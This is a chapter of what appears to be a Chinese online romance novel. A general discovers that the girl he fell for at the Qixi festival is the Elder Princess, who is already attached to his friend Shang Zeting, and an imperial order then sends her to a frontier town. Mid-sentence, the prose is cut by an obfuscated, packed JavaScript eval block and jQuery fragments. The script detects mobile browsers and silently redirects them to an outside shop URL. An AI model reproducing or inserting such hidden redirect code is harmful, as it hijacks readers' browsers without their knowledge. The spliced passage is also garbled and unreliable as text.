50.友人良缘不可夺
作品:《太液池里可以养鸬鹚吗》 商泽亭被秦牧山的突然举动吓了一跳,一时半会没反应过来:“什么如出一辙?”
“就是刚刚和你说的——我在宫中捡到了一幅画,画上的女子和我七夕遇到的姑娘很相似!”秦牧山用手比划着:“而你的字,和那幅画上的题字像一个人写出来的!”
秦牧山见商泽亭仍怔怔地望着他,急得一跺脚,去了卧房取出那幅画。
商泽亭看着那画轴有些眼熟。
随着秦牧山把那画轴铺开,这回轮到商泽亭一惊一乍了。
“啊——!”商泽亭猛地站起,险些把坐凳踢翻:“这幅画为何在你手上!”
这不是他特地给卢恩慈画的像,当作中秋节礼物送给她的嘛!为什么秦牧山会拿到此画卷!
“看来,商大人您知道这幅画?”秦牧山喜出望外:“当时捡到这幅画之后,我本想在第二日送回宫中,谁知军情有急,我当夜便带着这幅画回凉州了。”
“秦将军在何处捡到的这幅画?”商泽亭满腹惊疑,忙不迭地追问。
“我前几个月在驻京守军巡查,皇上邀请我去参加中秋宫宴。”秦牧山一五一十地回答:“但是因故去迟了,到宫里时,宴会已经结束了,我就在御花园里逛了逛。”
“然后呢?你在御花园里遇到了谁吗?”商泽亭的心提到嗓子眼。
“没有遇到任何人。”秦牧山颇为小心地观赏着这幅画:“在路过太液池的时候,我感觉好像踢到了什么东西,弯腰捡起,就是这幅画。”
商泽亭沉默不语。
中秋宫宴结束后,他和卢恩慈分别。估计是卢恩慈又跑出去玩,不小心弄丢的。
卢恩慈没有和自己说,估计也是怕把礼物弄丢了,他会责怪她。
唉,只要她心在自己这里,弄丢一两个物件,一点也不打紧。商泽亭默默叹口气。
“这回轮到我问商大人了。”秦牧山用手碰碰商泽亭的胳膊:“这幅画是怎么回事?”
商泽亭音色干涩:“这幅画是我画的。”
“你画的?那画中这位女子是谁?”秦牧山满眼期待地看着商泽亭。
商泽亭目光一动不动地盯着画,半晌才轻笑道:“答案不是呼之欲出了吗?”
“怎么就呼之欲出了?”秦牧山觉得商泽亭在打哑谜:“我又不认识商大人在京中结识的贵女们。”
“难道秦将军觉得,我是那种随意给闺中女子随意画像的放荡之人吗?”商泽亭觉得有些好笑,故意反问一句。
“看来这位女子是商大人的心之所属……”秦牧山低下头思考,复又猛地抬起头:“商大人您不是说你和长公主两情相悦吗?”
“是啊。”商泽亭懒得再和他卖关子,宣誓主权般说道:“画中女子,就是长公主殿下。”
秦牧山听到这句话,只觉天地旋转,手扶着桌子,才没有摔倒。
天啊,原来这些时日,他珍藏着长公主殿下的画卷。
“这幅画,是我赠予长公主的中秋礼物。”商泽亭看着桌上摊开的画卷:“应该是她不慎弄丢了。秦将军,物归原主,将这幅画还给她吧。”
秦牧山没有答应归还,也没有拒绝,而是没头没脑地说了一句:“长公主殿下和我七夕遇到的那位意中人很像呢。”
“如何像呢?”商泽亭怀着些打探的心思问道。
“整体的气质吧,像是清水出水芙蓉般的仙子。”秦牧山绞尽脑汁地想赞美之词:“尤其是这支莲花发钗,我七夕遇到的那位姑娘也戴着,可能是京城时兴的款式。”
“这可不是什么时兴的款式,全天下独有这一支。”商泽亭内心得意:“因为这是我亲自为长公主设计的。”
“那……那这也太巧了,可能是我看错了,只是款式很像。”秦牧山不好意思地挠挠头——他可能真的看错了,长公主肯定不可能在七夕夜去逛灯会的。
“也不一定是看错了。”商泽亭决定把真相揭开,让秦牧山知道他意中人就是卢恩慈,早点断了他的念想:“因为长公主七夕那夜在宫外。”
“啊?”秦牧山大脑彻底一片空白了。
商泽亭慢悠悠地讲述:“长公主那时候在宫外的香积寺给崔贵妃抄经祈福,微臣约她一同共赏七夕灯会。”
秦牧山集中注意力,竖着耳朵听。
“长公主那天特地戴上了我送给她的莲花发钗。”商泽亭想到卢恩慈,嘴角就不自觉露出微笑:“结果她不慎和侍女走散,自顾自逛起了街。”
秦牧山尽力保持着镇定,但渐渐急促的呼吸声出卖了他。
“长公主说,她先是不小心打翻了一个荔枝筐,后来又被套圈吸引住——”商泽亭还没说完,秦牧山就使劲摇晃商泽亭肩膀。
“她是不是穿的粉白襦裙?还赢了一个布娃娃玩偶?”秦牧山激动不已。
“是啊。”商泽亭故意拖着腔调:“后来她就找我,一起共赏七夕灯会了。”
秦牧山顿感五味杂陈,悲喜交加。
喜的是——踏破铁鞋无觅处,得来全不费工夫。让他怦然心动的那位姑娘,居然是长公主殿下。
悲的是——长公主殿下和商大人已经互通心意。遇见她的那晚,她甚至还是去赴商大人的约。
秦牧山心中满是苦涩,颓然地坐至圆凳上。
“秦将军,天下女子那么多,我祝你未来定能找到一位和你琴瑟和鸣的好姑娘。”商泽亭端起酒杯。
赶紧和我喝下这杯酒,把对长公主的念头放下!商泽亭在心中迫切地想着这句话。
秦牧山面无表情地望了商泽亭一眼,没有和他碰杯,依旧坐着不动。
“秦将军这是何意?”商泽亭急了,他不会存了要撬他墙角的心思吧。
还真被商泽亭猜准了,秦牧山心里正激烈矛盾着。
一方面,商家一直给凉州运送补给物资,他对商家很有好感。商大人对他有礼有节,他应该发自内心地祝福商大人和长公主的良缘。
另一方面,他内心阴暗处,一道声音疯狂呼号着——爱情哪有先来后到?长公主现在在凉州,何尝不是上天赐给他去争夺心上人的大好机会?
从古至今,有那么多抢婚的,多他秦牧山一个怎么了!
这个想法太过疯狂,秦牧山自己也吓了一跳。
罢了,最重要的,还是长公主本人的心意。若她和商大人恩恩爱爱,自己就把这份绮思埋在心底,含泪祝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057291|192395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
福他们吧。
想到这里,秦牧山才抬起头,和商泽亭举在半空中的酒杯碰上,饮下这口酒。
好苦,好苦,这酒突然变得好苦。
秦牧山放下酒杯,觉得眼前的一切事物都了无生趣。
商泽亭想安慰几句,在脑海中思索着措辞,屋外的门敲响了。
“秦将军,京中来信!”
“是我的副官!”秦牧山这才强打精神:“你进来吧。”
那位副官把一封密函呈上,关门离去。
“居然这么快就来信了。”商泽亭诧异道。不过他看看屋外的天色,天光大亮:“原来和秦将军彻夜长谈,已经到了第二日。”
“看来皇上收到消息后,就下了旨意传过来。”秦牧山拆开信封,细细阅读。
“如何?”商泽亭看着秦牧山面色如常,应该不是坏消息。
“皇上说,虽然我擅自出兵,但谅在我是维护长公主,将功抵过,让我继续练兵防范北戎。”秦牧山看到第二页。
“这是好事。”商泽亭颔首:“有提我和长公主的请求吗?”
“有提。”秦牧山念着皇上的圣旨:“北戎强敌当前,朕理当天子守国门,君王死社稷。奈何京中事物繁多,特让长公主代朕守边,鼓舞边地士气,钦此。”
“那接下来,还请秦将军多多关照。”商泽亭放面子,朝秦牧山拜拜。
“欸,别和我客套。”秦牧山将密函递给商泽亭:“皇上还说,让长公主待在平夏镇。已经命人去平夏给她找住处了。”
“平夏镇?”商泽亭回想了下地图:“是不是紧挨着凉州城的那座小镇?”
“是的,平夏镇隶属凉州,位于西北方。”秦牧山介绍道:“是之前凉州军屯的地方。别看是个小镇,那里可供应着凉州城的绝大部分粮食。”
“粮食事关重大,毕竟无论是普通百姓还是守卫军队,日常生活都离不开粮食。”商泽亭眼波流转:“平夏镇可谓是保持凉州秩序的重心,皇上选此地,真是用心良苦。”
秦牧山听出了商泽亭话里的言外之意。
让卢恩慈去平夏镇,有监视他的意味在。若他起兵谋反,粮草是绕不开的一关。一有风吹草动,就会上报京城。
“我们俩就无需揣度圣意了。”秦牧山心下了然,转移话题:“平夏镇虽小,但并不荒凉。那里物资充沛,人心简单,长公主定能过得舒心。而且离凉州城也近,长公主嫌无聊,很快便能进城。”
“那我们就把这个消息带给长公主吧。”商泽亭拿起桌上的画卷,走向屋外:“她应该在焦急等待京中回话。”
“嗯。”秦牧山跟着商泽亭走了几步,停下脚步。
“怎么了?”商泽亭见秦牧山止步不前:“来凉州有几日了,可秦将军还没有和长公主正式说上话吧。现在正好可以去见她。没准,长公主还记得在七夕夜偶遇你呢。”
“可我——”秦牧山抓抓头发,像是遇到了什么难言之隐,在门口莫名其妙地转了几个圈后,“嘭”的一声关上房门。
商泽亭稍作等待,又去敲敲门。
屋内秦牧山喊道:“商大人,您去把消息告诉长公主吧,我就不去了!”

